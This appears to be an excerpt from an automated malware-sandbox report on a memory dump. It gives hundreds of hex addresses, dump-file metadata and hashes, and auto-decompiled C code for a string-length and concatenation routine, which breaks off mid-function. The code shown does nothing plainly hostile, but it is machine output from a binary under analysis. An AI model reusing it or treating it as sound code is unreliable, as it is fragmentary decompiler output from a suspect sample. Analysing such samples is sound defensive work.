0x6f003108
0x00000000
0x00000000
0x6f00310a
0x6f00310a
0x6f00310c
0x6f00310c
0x6f00310d
0x6f003112
0x6f003116
0x6f003118
0x00000000
0x00000000
0x6f00311a
0x6f00311e
0x6f003121
0x6f003123
0x00000000
0x00000000
0x00000000
0x6f003123
0x00000000
0x6f00310c
0x6f0030a0
0x6f0030a3
0x00000000
0x00000000
0x6f0030a5
0x6f0030a7
0x6f0030a9
0x6f0030a9
0x6f0030ac
0x6f0030b0
0x6f0030b3
0x6f0030b6
0x6f0030b9
0x6f0030bc
0x6f0030bc
0x6f0030be
0x6f0030be
0x6f0030c4
0x6f0030ca
0x6f0030cd
0x6f0030cf
0x00000000
0x00000000
0x6f0030d5
0x6f0030d6
0x6f0030d7
0x6f0030db
0x6f0030df
0x00000000
0x00000000
0x6f0030e1
0x6f0030e1
0x00000000
0x6f0030e1
0x6f003164
0x6f003167
0x6f003169
0x00000000
0x00000000
0x6f003173
0x6f003176
0x6f003182
0x6f003182
0x6f003185
0x6f00318c
0x6f003190
0x6f003192
0x6f003192
0x6f003194
0x6f003196
0x6f0031af
0x6f0031bf
0x6f0031bf
0x6f0031c5
0x6f0031c5
0x6f0031ca
0x6f0031ce
0x6f0031d2
0x6f0031d4
0x00000000
0x00000000
0x6f0031da
0x6f0031dd
0x6f0031df
0x00000000
0x00000000
0x6f0031e5
0x6f0031eb
0x6f003204
0x6f003204
0x6f003209
0x6f003209
0x6f00320c
0x6f00320c
0x6f00320e
0x6f003212
0x6f003216
0x6f00321a
0x6f003221
0x6f00322a
0x6f00322d
0x6f003230
0x6f003236
0x6f003239
0x6f00323c
0x6f00323e
0x00000000
0x00000000
0x6f00324a
0x6f00324c
0x6f003254
0x6f003254
0x6f003258
0x6f00325c
0x6f00325f
0x6f00325f
0x6f003261
0x00000000
0x00000000
0x6f003267
0x6f00326b
0x6f00326b
0x6f00326d
0x6f00326f
0x6f00326f
0x6f003270
0x00000000
0x00000000
0x6f003276
0x6f00327a
0x00000000
0x00000000
0x6f003280
0x6f003289
0x6f00328c
0x6f00328f
0x6f003293
0x6f003297
0x6f003297
0x6f003298
0x6f003299
0x6f0032a0
0x6f0032a3
0x6f0032a9
0x6f0032ac
0x6f0032ae
0x00000000
0x00000000
0x6f0032b4
0x6f0032b7
0x00000000
0x00000000
0x6f0032b9
0x6f0032b9
0x6f0032bd
0x6f0032c1
0x6f0032c4
0x6f0032c4
0x6f0032c6
0x6f0032df
0x6f0032ef
0x6f0032ef
0x6f0032f5
0x6f0032f5
0x6f0032fa
0x6f0032fe
0x6f003302
0x6f003304
0x00000000
0x00000000
0x6f00330a
0x6f00330d
0x6f00330f
0x00000000
0x00000000
0x6f003311
0x6f003317
0x6f00332c
0x6f00332c
0x6f003331
0x6f003335
0x6f003335
0x6f003338
0x6f003350
0x6f003360
0x6f003360
0x6f003366
0x6f003366
0x6f00336b
0x6f00336f
0x6f003373
0x6f003375
0x00000000
0x00000000
0x6f00337b
0x6f00337e
0x6f003380
0x00000000
0x00000000
0x6f003382
0x6f003385
0x6f00338b
0x6f0033a0
0x6f0033a0
0x6f0033a5
0x6f0033a5
0x6f0033ab
0x6f0033ad
0x6f0033af
0x6f0033b1
0x6f0033b3
0x6f0033b6
0x6f0033b8
0x6f0033bb
0x6f0033be
0x6f0033c0
0x6f0033c0
0x6f0033c2
0x6f0033c6
0x6f003519
0x6f003519
0x6f003520
0x6f003522
0x6f003525
0x6f003527
0x6f003529
0x6f003563
0x00000000
0x6f003563
0x6f00352b
0x6f00352d
0x6f003553
0x6f003553
0x6f003555
0x6f003556
0x6f00355b
0x00000000
0x6f00355b
0x6f00352f
0x6f003532
0x6f003534
0x6f003536
0x00000000
0x00000000
0x6f003538
0x6f003538
0x6f00353a
0x6f00353a
0x6f00353b
0x6f003540
0x6f003544
0x6f003546
0x00000000
0x00000000
0x6f003548
0x6f00354c
0x6f00354f
0x6f003551
0x00000000
0x00000000
0x00000000
0x6f003551
0x00000000
0x6f00353a
0x6f0033cc
0x6f0033d0
0x6f0033d4
0x00000000
0x00000000
0x6f0033da
0x6f0033dc
0x6f003451
0x6f003456
0x6f003456
0x6f003459
0x6f00345c
0x6f00345f
0x6f003461
0x6f003477
0x6f00347a
0x6f00347a
0x6f003480
0x6f003488
0x6f003488
0x6f003488
0x6f00348b
0x6f003495
0x6f003498
0x6f00349b
0x6f0034a1
0x6f0034a3
0x6f0034a6
0x6f0034a8
0x6f0034aa
0x6f0034e4
0x00000000
0x6f0034ac
0x6f0034ac
0x6f0034ae
0x6f0034d7
0x6f0034d7
0x6f0034d9
0x6f0034da
0x6f0034df
0x6f0034e7
0x6f0034ea
0x6f0034ed
0x6f0034ef
0x6f0034ef
0x6f0034f1
0x00000000
0x00000000
0x6f0034f7
0x6f0034fb
0x6f003501
0x6f003501
0x6f003504
0x6f003505
0x6f003507
0x6f003509
0x00000000
0x00000000
0x6f00350b
0x6f00350d
0x6f00356b
0x00000000
0x6f00356b
0x6f00350f
0x6f00350f
0x6f003511
0x00000000
0x00000000
0x6f0034ff
0x6f003500
0x6f003500
0x6f003500
0x6f003501
0x6f0034b0
0x6f0034b3
0x6f0034b5
0x6f0034b7
0x00000000
0x00000000
0x6f0034b9
0x6f0034b9
0x6f0034bb
0x6f0034bb
0x6f0034bc
0x6f0034c1
0x6f0034c5
0x6f0034c7
0x00000000
0x00000000
0x6f0034c9
0x6f0034cd
0x6f0034d0
0x6f0034d2
0x00000000
0x00000000
0x00000000
0x6f0034d2
0x6f0034d4
0x00000000
0x6f0034d4
0x6f0034aa
0x6f003463
0x00000000
0x6f003463
0x6f0033de
0x6f0033e0
0x6f0033e4
0x6f0033e4
0x6f0033e7
0x6f0033ff
0x6f00340f
0x6f00340f
0x6f003415
0x6f003415
0x6f00341a
0x6f00341e
0x6f003422
0x6f003424
0x00000000
0x00000000
0x6f00342a
0x6f00342d
0x6f00342f
0x00000000
0x00000000
0x6f003431
0x6f003437
0x6f00344c
0x6f00344c
0x00000000
0x6f00344c
0x6f003439
0x6f00343d
0x6f00343d
0x6f003441
0x00000000
0x00000000
0x6f003443
0x6f003444
0x6f00344a
0x00000000
0x00000000
0x00000000
0x6f00344a
0x00000000
0x6f00343d
0x6f003574
0x6f003577
0x00000000
0x6f003577
0x6f0033eb
0x6f0033ed
0x6f0033f1
0x6f0033f1
0x6f0033f4
0x6f0033f4
0x6f0033f8
0x00000000
0x00000000
0x6f0033fa
0x6f0033fb
0x6f0033fd
0x00000000
0x00000000
0x00000000
0x6f0033fd
0x00000000
0x6f0033f4
0x6f00338d
0x6f003391
0x6f003391
0x6f003395
0x00000000
0x00000000
0x6f003397
0x6f003398
0x6f00339e
0x00000000
0x00000000
0x00000000
0x6f00339e
0x00000000
0x6f003391
0x6f00357e
0x6f003581
0x6f003584
0x00000000
0x6f003584
0x6f00333c
0x6f00333e
0x6f003342
0x6f003342
0x6f003345
0x6f003345
0x6f003349
0x00000000
0x00000000
0x6f00334b
0x6f00334c
0x6f00334e
0x00000000
0x00000000
0x00000000
0x6f00334e
0x00000000
0x6f003345
0x6f003319
0x6f00331d
0x6f00331d
0x6f003321
0x00000000
0x00000000
0x6f003323
0x6f003324
0x6f00332a
0x00000000
0x00000000
0x00000000
0x6f00332a
0x00000000
0x6f00331d
0x6f00358b
0x6f00358e
0x00000000
0x6f00358e
0x6f0032c8
0x6f0032cc
0x6f0032cc
0x6f0032ce
0x6f0032d2
0x6f0032d4
0x6f0032d4
0x6f0032d8
0x00000000
0x00000000
0x6f0032da
0x6f0032db
0x6f0032dd
0x00000000
0x00000000
0x00000000
0x6f0032dd
0x00000000
0x6f0032d4
0x6f003595
0x6f003599
0x6f00359d
0x6f00359f
0x00000000
0x00000000
0x6f0035a5
0x6f0035a9
0x6f0035ad
0x6f0035b1
0x6f0035b5
0x6f0035b5
0x6f0035b7
0x6f0035b9
0x6f0035d2
0x6f0035e2
0x6f0035e2
0x6f0035e8
0x6f0035e8
0x6f0035ed
0x6f0035f1
0x6f0035f5
0x6f0035f7
0x00000000
0x00000000
0x6f0035fd
0x6f003600
0x6f003602
0x00000000
0x00000000
0x6f003608
0x6f00360e
0x6f003627
0x6f003627
0x6f00362c
0x6f00362c
0x6f00362f
0x6f00362f
0x6f003631
0x6f003635
0x6f003639
0x6f00363d
0x6f003644
0x6f00364d
0x6f003650
0x6f003653
0x6f003659
0x6f00365c
0x6f00365f
0x6f003661
0x00000000
0x00000000
0x6f003665
0x6f003667
0x6f003673
0x6f003673
0x6f003677
0x6f00367b
0x6f00367b
0x6f00367d
0x00000000
0x00000000
0x00000000
0x6f00367d
0x6f003669
0x6f00366a
0x6f00366d
0x00000000
0x00000000
0x00000000
0x6f00366d
0x6f00368f
0x6f003699
0x6f003699
0x6f00369a
0x00000000
0x00000000
0x6f00369c
0x6f0036a5
0x6f0036aa
0x6f0036ad
0x6f0036b1
0x00000000
0x00000000
0x6f0036b3
0x6f0036b7
0x6f0036b7
0x6f0036b8
0x6f0036b9
0x6f0036c3
0x6f0036c9
0x6f0036cc
0x6f0036ce
0x00000000
0x00000000
0x6f0036d0
0x6f0036d3
0x00000000
0x00000000
0x00000000
0x6f0036d5
0x00000000
0x6f0036b7
0x6f003610
0x6f003614
0x6f003614
0x6f003618
0x00000000
0x00000000
0x6f00361e
0x6f00361f
0x6f003625
0x00000000
0x00000000
0x00000000
0x6f003625
0x6f0036fa
0x6f0036fa
0x6f0036fc
0x00000000
0x00000000
0x6f003702
0x00000000
0x00000000
0x6f003708
0x6f00370c
0x6f003710
0x00000000
0x6f003710
0x6f003719
0x6f003720
0x00000000
0x6f003720
0x6f0035bb
0x6f0035bf
0x6f0035c1
0x6f0035c1
0x6f0035c3
0x6f0035c3
0x6f0035c7
0x00000000
0x00000000
0x6f0035cd
0x6f0035ce
0x6f0035d0
0x00000000
0x00000000
0x00000000
0x6f0035d0
0x00000000
0x6f0036de
0x6f0036de
0x6f0036e2
0x6f0036e6
0x6f0036e6
0x6f0036ee
0x6f0036ee
0x6f0036f2
0x00000000
0x6f0036f2
0x6f003683
0x6f003683
0x00000000
0x6f003687
0x6f00324e
0x6f00324f
0x6f003252
0x00000000
0x00000000
0x00000000
0x6f003252
0x6f003724
0x6f00372e
0x6f00372e
0x6f00372f
0x00000000
0x00000000
0x6f003735
0x6f00373e
0x6f003743
0x6f003746
0x6f00374a
0x00000000
0x00000000
0x6f003750
0x6f003754
0x6f003754
0x6f003755
0x6f003756
0x6f003760
0x6f003766
0x6f003769
0x6f00376b
0x00000000
0x00000000
0x6f00376d
0x6f003770
0x00000000
0x00000000
0x00000000
0x6f003772
0x00000000
0x6f003754
0x6f0031ed
0x6f0031f1
0x6f0031f1
0x6f0031f5
0x00000000
0x00000000
0x6f0031fb
0x6f0031fc
0x6f003202
0x00000000
0x00000000
0x00000000
0x6f003202
0x6f003777
0x6f003777
0x6f003779
0x00000000
0x00000000
0x6f00377f
0x00000000
0x00000000
0x6f003785
0x6f003789
0x00000000
0x6f003789
0x6f003791
0x6f003798
0x00000000
0x6f003798
0x6f003198
0x6f00319c
0x6f00319e
0x6f00319e
0x6f0031a0
0x6f0031a0
0x6f0031a4
0x00000000
0x00000000
0x6f0031aa
0x6f0031ab
0x6f0031ad
0x00000000
0x00000000
0x00000000
0x6f0031ad
0x00000000
0x6f00379c
0x6f00379c
0x6f0037a0
0x6f0037a4
0x6f0037a4
0x00000000
0x6f0037ac
0x00000000
0x6f00303b
0x6f002fb7
0x6f002fba
0x6f002fbc
0x6f002fbe
0x00000000
0x00000000
0x6f002fc0
0x6f002fc4
0x6f002fc4
0x6f002fc6
0x6f002fca
0x6f002fcd
0x6f002fcd
0x6f002fce
0x6f002fd3
0x6f002fd7
0x6f002fd9
0x00000000
0x00000000
0x6f002fdb
0x6f002fdf
0x6f002fe2
0x6f002fe4
0x00000000
0x00000000
0x00000000
0x6f002fe4
0x6f002fe6
0x6f002fea
0x6f002fee
0x00000000
0x6f002fee
0x6f002fb1
0x6f002f6f
0x00000000
0x6f002f6f
0x6f002eeb
0x6f002eeb
0x6f002eee
0x6f002f06
0x6f002f0a
0x6f002f16
0x6f002f16
0x6f002f1c
0x6f002f1c
0x6f002f21
0x6f002f25
0x6f002f29
0x6f002f2b
0x00000000
0x00000000
0x6f002f31
0x6f002f34
0x6f002f36
0x00000000
0x00000000
0x6f002f38
0x6f002f3e
0x6f002f53
0x6f002f53
0x6f002f58
0x00000000
0x00000000
0x00000000
0x00000000
0x6f002f40
0x6f002f40
0x6f002f40
0x6f002f44
0x00000000
0x00000000
0x6f002f4a
0x6f002f4b
0x6f002f51
0x00000000
0x00000000
0x00000000
0x6f002f51
0x6f0037b1
0x6f0037b1
0x6f0037b4
0x6f0037c2
0x6f0037b6
0x6f0037b6
0x6f0037b9
0x6f0037b9
0x00000000
0x6f0037b4
0x6f0037cc
0x6f0037cf
0x00000000
0x6f0037cf
0x6f002ef2
0x6f002ef4
0x6f002ef4
0x6f002ef7
0x6f002ef7
0x6f002efb
0x00000000
0x00000000
0x6f002f01
0x6f002f02
0x6f002f04
0x00000000
0x00000000
0x00000000
0x6f002f04
0x00000000
0x6f002ef7
0x6f002ed8
0x00000000
0x6f002ed8
0x6f002e8e
0x6f002eb4
0x6f002eb4
0x6f002eb6
0x6f002eb7
0x6f002ebc
0x00000000
0x6f002ebc
0x6f002e90
0x6f002e93
0x6f002e97
0x00000000
0x00000000
0x6f002e99
0x6f002e9b
0x6f002e9b
0x6f002e9c
0x6f002ea1
0x6f002ea7
0x00000000
0x00000000
0x6f002ea9
0x6f002ead
0x6f002eb2
0x00000000
0x00000000
0x00000000
0x6f002eb2
0x00000000

Strings

@, xrefs: 6F002EC8

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 115c3439d82789a76028cc64ba03a0b0cd7b01c7d0591427b9fbd30026037de6
Instruction ID: ac84576c544731fbfe7c559fb2e4366ecbb491774196f5523569f768bde1d8bf
Opcode Fuzzy Hash: 115c3439d82789a76028cc64ba03a0b0cd7b01c7d0591427b9fbd30026037de6
Instruction Fuzzy Hash: 4D527D319097928BF717DE28C49176EBBE26FCE310F18875ED8A54B392D735E8418782

Uniqueness

Uniqueness Score: -1.00%

Function 6F007660, Relevance: 2.0, Strings: 1, Instructions: 793
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6F007660(intOrPtr* __ecx, signed int* _a4, signed int _a8) {
				signed int _v32;
				intOrPtr* _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _t203;
				signed int _t206;
				signed int* _t207;
				signed int* _t216;
				signed int _t217;
				signed int _t219;
				signed int _t221;
				signed int _t222;
				signed int _t225;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int* _t234;
				signed int _t236;
				signed int _t237;
				signed int _t239;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int* _t248;
				signed int _t250;
				signed int _t251;
				signed int _t259;
				signed int _t262;
				void* _t264;
				signed int _t265;
				signed int _t266;
				signed int* _t269;
				signed int _t271;
				signed int _t272;
				signed int _t275;
				signed int _t280;
				signed int* _t281;
				signed int _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t294;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				intOrPtr _t303;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t308;
				signed int _t309;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int* _t316;
				signed int _t324;
				signed int _t326;
				unsigned int _t331;
				signed int _t333;
				signed int* _t335;
				signed int _t337;
				signed int* _t339;
				char _t340;
				char _t341;
				signed int _t343;
				intOrPtr* _t344;
				signed int _t345;
				signed int _t346;
				signed int _t347;
				signed int _t349;
				void* _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				unsigned int _t372;
				signed int _t374;
				signed int* _t376;
				signed int _t377;
				signed int _t378;
				intOrPtr* _t380;
				intOrPtr* _t382;
				signed int _t383;
				signed int _t384;
				signed int _t385;
				intOrPtr* _t386;
				void* _t387;
				signed int _t388;
				intOrPtr* _t390;
				unsigned int _t396;
				signed int _t398;
				void* _t399;
				signed int _t400;
				signed int _t401;
				intOrPtr _t402;
				signed int _t403;
				signed int _t404;
				signed int _t407;
				signed int _t414;
				signed int _t415;
				signed int _t422;
				signed int _t428;
				signed int _t429;
				unsigned int _t434;
				signed int _t437;
				void* _t439;
				void* _t441;

				_t439 = (_t437 & 0xfffffff0) - 0x34;
				_t390 = __ecx;
				_t303 =  *__ecx;
				if(_t303 != 0) {
					_t343 =  *( *( *(__ecx + 4)));
					__eflags = _t343;
					if(_t343 == 0) {
						L35:
						_push(0x40);
						_t284 = E6EFF1030();
						_t439 = _t439 + 4;
						__eflags =  *_t390 - 1;
						 *_t284 = 0;
						if( *_t390 <= 1) {
							goto L203;
						} else {
							_t415 = 0x40;
							goto L37;
						}
					} else {
						__eflags =  *_t343;
						if( *_t343 == 0) {
							goto L35;
						} else {
							_t262 = _t343 & 0x0000000f;
							__eflags = _t262;
							if(_t262 == 0) {
								L16:
								asm("pxor xmm0, xmm0");
								_t294 =  ~( ~_t262 + 0x0000000f & 0x0000000f) + 0x7fffffff;
								__eflags = _t294;
								_v64 = _t294;
								_t429 = _t294;
								while(1) {
									asm("movdqu xmm1, [edx+eax]");
									asm("pcmpeqb xmm1, xmm0");
									asm("pmovmskb ebx, xmm1");
									__eflags = _t294;
									if(_t294 != 0) {
										break;
									}
									_t262 = _t262 + 0x10;
									__eflags = _t262 - _t429;
									if(_t262 < _t429) {
										continue;
									} else {
										_v64 = _t429;
										__eflags = _v64 - 0x7fffffff;
										if(_v64 >= 0x7fffffff) {
											L23:
											_v64 = 0x7fffffff;
										} else {
											_t275 = _t429;
											while(1) {
												__eflags =  *((char*)(_t275 + _t343));
												if( *((char*)(_t275 + _t343)) == 0) {
													break;
												}
												_t275 = _t275 + 1;
												__eflags = _t275 - 0x7fffffff;
												if(_t275 < 0x7fffffff) {
													continue;
												} else {
													goto L23;
												}
												goto L24;
											}
											_v64 = _t275;
										}
									}
									goto L24;
								}
								asm("bsf ebx, ebx");
								_v64 = _t294 + _t262;
							} else {
								_v64 = 0;
								_t299 = _v64;
								_t262 =  ~_t262 + 0x10;
								__eflags = _t262;
								while(1) {
									__eflags =  *((char*)(_t299 + _t343));
									if( *((char*)(_t299 + _t343)) == 0) {
										break;
									}
									_t299 = _t299 + 1;
									__eflags = _t299 - _t262;
									if(_t299 < _t262) {
										continue;
									} else {
										goto L16;
									}
									goto L24;
								}
								_v64 = _t299;
							}
							L24:
							_t264 = _v64 + 1;
							__eflags = _t264 - 0x40;
							_t265 =  <=  ? 0x40 : _t264;
							__eflags = _t265;
							if(_t265 > 0) {
								_t434 = (_t265 >> 5 >> 0x1a) + _t265 >> 6;
								_t266 = _t265 & 0x8000003f;
								__eflags = _t266;
								if(_t266 < 0) {
									_t266 = (_t266 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t266;
								}
								__eflags = _t266;
								_t415 = _t434 + (0 | _t266 > 0x00000000) << 6;
								_push(_t415);
								_v68 = _t343;
								_t269 = E6EFF1030();
								_t385 = _v68;
								_t339 = _t269;
								_t439 = _t439 + 4;
								_v60 = 0;
								_v44 = _t339;
								_v36 = _t390;
								 *_t339 = 0;
								_v68 =  *_t390;
								_t298 = _v60;
								_t404 = _v64;
								while(1) {
									_t271 =  *_t385;
									_t298 = _t298 + 1;
									 *_t339 = _t271;
									__eflags = _t404;
									if(_t404 == 0) {
										goto L33;
									}
									__eflags = _t298 - _t404;
									if(_t298 == _t404) {
										_t284 = _v44;
										_t272 = _v68;
										_t390 = _v36;
										_t339[0] = 0;
									} else {
										goto L33;
									}
									L206:
									__eflags = _t272 - 1;
									if(_t272 > 1) {
										goto L37;
									} else {
										goto L157;
									}
									goto L200;
									L33:
									__eflags = _t271;
									if(_t271 == 0) {
										_t284 = _v44;
										_t272 = _v68;
										_t390 = _v36;
									} else {
										_t339 =  &(_t339[0]);
										_t385 = _t385 + 1;
										__eflags = _t385;
										continue;
									}
									goto L206;
								}
							} else {
								_t284 = 0;
								__eflags = _t303 - 1;
								if(_t303 <= 1) {
									L203:
									_t344 = _a4;
									_t203 = 0;
									 *_t344 = 0;
									 *((intOrPtr*)(_t344 + 4)) = 0;
									__eflags = _t284;
									if(_t284 == 0) {
										goto L191;
									} else {
										goto L158;
									}
								} else {
									_t415 = 0;
									L37:
									_t308 = _a8 & 0x0000000f;
									asm("pxor xmm0, xmm0");
									_t359 =  ~_t308 + 0x10;
									__eflags = _t359;
									_v52 = _t359;
									_v56 = _t308;
									_v48 = _t415;
									_v36 = _t390;
									_t400 = 1;
									goto L38;
									do {
										do {
											do {
												L38:
												__eflags = _a8;
												if(_a8 != 0) {
													_t363 = _a8;
													__eflags =  *_t363;
													if( *_t363 != 0) {
														__eflags = _t284 - _a8;
														if(_t284 != _a8) {
															_t229 = _v56;
															__eflags = _t229;
															if(_t229 == 0) {
																L46:
																asm("pxor xmm1, xmm1");
																_t422 =  ~( ~_t229 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																__eflags = _t422;
																while(1) {
																	asm("movdqu xmm0, [ecx+eax]");
																	asm("pcmpeqb xmm0, xmm1");
																	asm("pmovmskb edx, xmm0");
																	__eflags = _t363;
																	if(_t363 != 0) {
																		break;
																	}
																	_t229 = _t229 + 0x10;
																	__eflags = _t229 - _t422;
																	if(_t229 < _t422) {
																		continue;
																	} else {
																		__eflags = _t422 - 0x7fffffff;
																		if(_t422 >= 0x7fffffff) {
																			L53:
																			_t422 = 0x7fffffff;
																		} else {
																			_t363 = _a8;
																			while(1) {
																				__eflags =  *((char*)(_t422 + _t363));
																				if( *((char*)(_t422 + _t363)) == 0) {
																					goto L54;
																				}
																				_t422 = _t422 + 1;
																				__eflags = _t422 - 0x7fffffff;
																				if(_t422 < 0x7fffffff) {
																					continue;
																				} else {
																					goto L53;
																				}
																				goto L54;
																			}
																		}
																	}
																	goto L54;
																}
																asm("bsf esi, edx");
																_t422 = _t422 + _t229;
															} else {
																_t229 = _v52;
																_t422 = 0;
																__eflags = 0;
																_t324 = _a8;
																_t363 = _t229;
																while(1) {
																	__eflags =  *((char*)(_t422 + _t324));
																	if( *((char*)(_t422 + _t324)) == 0) {
																		break;
																	}
																	_t422 = _t422 + 1;
																	__eflags = _t422 - _t363;
																	if(_t422 < _t363) {
																		continue;
																	} else {
																		_v52 = _t363;
																		goto L46;
																	}
																	goto L54;
																}
																_v52 = _t363;
															}
															L54:
															__eflags = _t284;
															if(_t284 == 0) {
																_t311 = 0;
															} else {
																_t239 = _t284 & 0x0000000f;
																__eflags = _t239;
																if(_t239 == 0) {
																	L59:
																	asm("pxor xmm1, xmm1");
																	_t311 =  ~( ~_t239 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																	__eflags = _t311;
																	while(1) {
																		asm("movdqu xmm0, [ebx+eax]");
																		asm("pcmpeqb xmm0, xmm1");
																		asm("pmovmskb edx, xmm0");
																		__eflags = _t363;
																		if(_t363 != 0) {
																			break;
																		}
																		_t239 = _t239 + 0x10;
																		__eflags = _t239 - _t311;
																		if(_t239 < _t311) {
																			continue;
																		} else {
																			__eflags = _t311 - 0x7fffffff;
																			if(_t311 >= 0x7fffffff) {
																				L65:
																				_t311 = 0x7fffffff;
																			} else {
																				while(1) {
																					__eflags =  *((char*)(_t311 + _t284));
																					if( *((char*)(_t311 + _t284)) == 0) {
																						goto L66;
																					}
																					_t311 = _t311 + 1;
																					__eflags = _t311 - 0x7fffffff;
																					if(_t311 < 0x7fffffff) {
																						continue;
																					} else {
																						goto L65;
																					}
																					goto L66;
																				}
																			}
																		}
																		goto L66;
																	}
																	asm("bsf ecx, edx");
																	_t311 = _t311 + _t239;
																} else {
																	_t311 = 0;
																	_t239 =  ~_t239 + 0x10;
																	__eflags = _t239;
																	while(1) {
																		__eflags =  *((char*)(_t311 + _t284));
																		if( *((char*)(_t311 + _t284)) == 0) {
																			goto L66;
																		}
																		_t311 = _t311 + 1;
																		__eflags = _t311 - _t239;
																		if(_t311 < _t239) {
																			continue;
																		} else {
																			goto L59;
																		}
																		goto L66;
																	}
																}
															}
															L66:
															_t55 = _t311 + 1; // 0x80000000
															_t312 = _t422 + _t55;
															__eflags = _t312;
															if(_t312 != 0) {
																__eflags = _t312 - 0x40;
																_t313 =  <=  ? 0x40 : _t312;
																__eflags = _t313 - _v48;
																if(_t313 > _v48) {
																	goto L71;
																}
																goto L83;
															} else {
																__eflags = _t284;
																if(_t284 == 0) {
																	__eflags = _v48 - 0x40;
																	if(_v48 >= 0x40) {
																		goto L97;
																	} else {
																		goto L213;
																	}
																	goto L225;
																} else {
																	 *_t284 = 0;
																	_t365 = 0;
																	__eflags = _v48 - 0x40;
																	if(_v48 < 0x40) {
																		L213:
																		_t313 = 0x40;
																		L71:
																		_t372 = (_t313 >> 5 >> 0x1a) + _t313 >> 6;
																		_v48 = _t372;
																		_t315 = _t313 & 0x8000003f;
																		__eflags = _t315;
																		if(_t315 < 0) {
																			_t315 = (_t315 - 0x00000001 | 0xffffffc0) + 1;
																			__eflags = _t315;
																		}
																		__eflags = _t315;
																		_t374 = _t372 + (0 | _t315 > 0x00000000) << 6;
																		_v48 = _t374;
																		_push(_t374);
																		_t234 = E6EFF1030();
																		_v68 = _t234;
																		_t439 = _t439 + 4;
																		__eflags = _t284;
																		if(_t284 == 0) {
																			 *_t234 = 0;
																		} else {
																			__eflags = _v68;
																			if(_v68 != 0) {
																				_t376 = _t234;
																				_t236 =  *_t284;
																				 *_t376 = _t236;
																				__eflags = _t236;
																				if(_t236 != 0) {
																					_v32 = _t400;
																					_t237 = 0;
																					__eflags = 0;
																					_t316 = _t376;
																					while(1) {
																						_t237 = _t237 + 1;
																						_t377 =  *((char*)(_t284 + _t237 * 2 - 1));
																						 *(_t316 + _t237 * 2 - 1) = _t377;
																						__eflags = _t377;
																						if(_t377 == 0) {
																							break;
																						}
																						_t378 =  *((char*)(_t284 + _t237 * 2));
																						 *(_t316 + _t237 * 2) = _t378;
																						__eflags = _t378;
																						if(_t378 != 0) {
																							continue;
																						}
																						break;
																					}
																					_t400 = _v32;
																				}
																			}
																			_push(1);
																			_push(_t284);
																			E6EFF10B0();
																			_t439 = _t439 + 8;
																		}
																		_t284 = _v68;
																		L83:
																		_t314 = _t284;
																		__eflags = _t284;
																		if(_t284 != 0) {
																			_t365 =  *_t284;
																			goto L85;
																		}
																	} else {
																		_t314 = _t284;
																		L85:
																		__eflags = _t365;
																		if(_t365 != 0) {
																			_t367 = 0;
																			__eflags = 0;
																			while(1) {
																				_t367 = _t367 + 1;
																				_t231 = _t284 + _t367 * 2;
																				__eflags =  *(_t231 - 1);
																				_t78 = _t231 - 1; // -1
																				_t314 = _t78;
																				if( *(_t231 - 1) == 0) {
																					goto L89;
																				}
																				_t314 = _t231;
																				__eflags =  *_t231;
																				if( *_t231 != 0) {
																					continue;
																				}
																				goto L89;
																			}
																		}
																		L89:
																		_t366 = _t314;
																		__eflags = _t422;
																		if(__eflags != 0) {
																			if(__eflags > 0) {
																				goto L92;
																			}
																		} else {
																			_t422 = 0x7fffffff;
																			L92:
																			_v32 = _t400;
																			_t230 = 0;
																			__eflags = 0;
																			_v44 = _t284;
																			_t401 = _a8;
																			while(1) {
																				_t287 =  *((char*)(_t230 + _t401));
																				 *(_t230 + _t366) = _t287;
																				__eflags = _t287;
																				if(_t287 == 0) {
																					break;
																				}
																				_t85 = _t366 + 1; // 0x1
																				_t314 = _t230 + _t85;
																				_t230 = _t230 + 1;
																				__eflags = _t230 - _t422;
																				if(_t230 < _t422) {
																					continue;
																				}
																				break;
																			}
																			_t400 = _v32;
																			_t284 = _v44;
																		}
																		 *_t314 = 0;
																	}
																}
															}
														}
													}
												}
												L97:
												_t309 =  *(_v36 + 4);
												_t361 =  *( *(_t309 + _t400 * 4));
												__eflags = _t361;
												if(_t361 == 0) {
													goto L99;
												} else {
													__eflags =  *_t361;
													if( *_t361 != 0) {
														__eflags = _t361 - _t284;
														if(_t361 == _t284) {
															goto L99;
														} else {
															_t225 = _t361 & 0x0000000f;
															__eflags = _t225;
															if(_t225 == 0) {
																L106:
																asm("pxor xmm1, xmm1");
																_t428 =  ~( ~_t225 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																__eflags = _t428;
																while(1) {
																	asm("movdqu xmm0, [edx+eax]");
																	asm("pcmpeqb xmm0, xmm1");
																	asm("pmovmskb ecx, xmm0");
																	__eflags = _t309;
																	if(_t309 != 0) {
																		break;
																	}
																	_t225 = _t225 + 0x10;
																	__eflags = _t225 - _t428;
																	if(_t225 < _t428) {
																		continue;
																	} else {
																		__eflags = _t428 - 0x7fffffff;
																		if(_t428 >= 0x7fffffff) {
																			L112:
																			_t428 = 0x7fffffff;
																		} else {
																			while(1) {
																				__eflags =  *((char*)(_t428 + _t361));
																				if( *((char*)(_t428 + _t361)) == 0) {
																					goto L113;
																				}
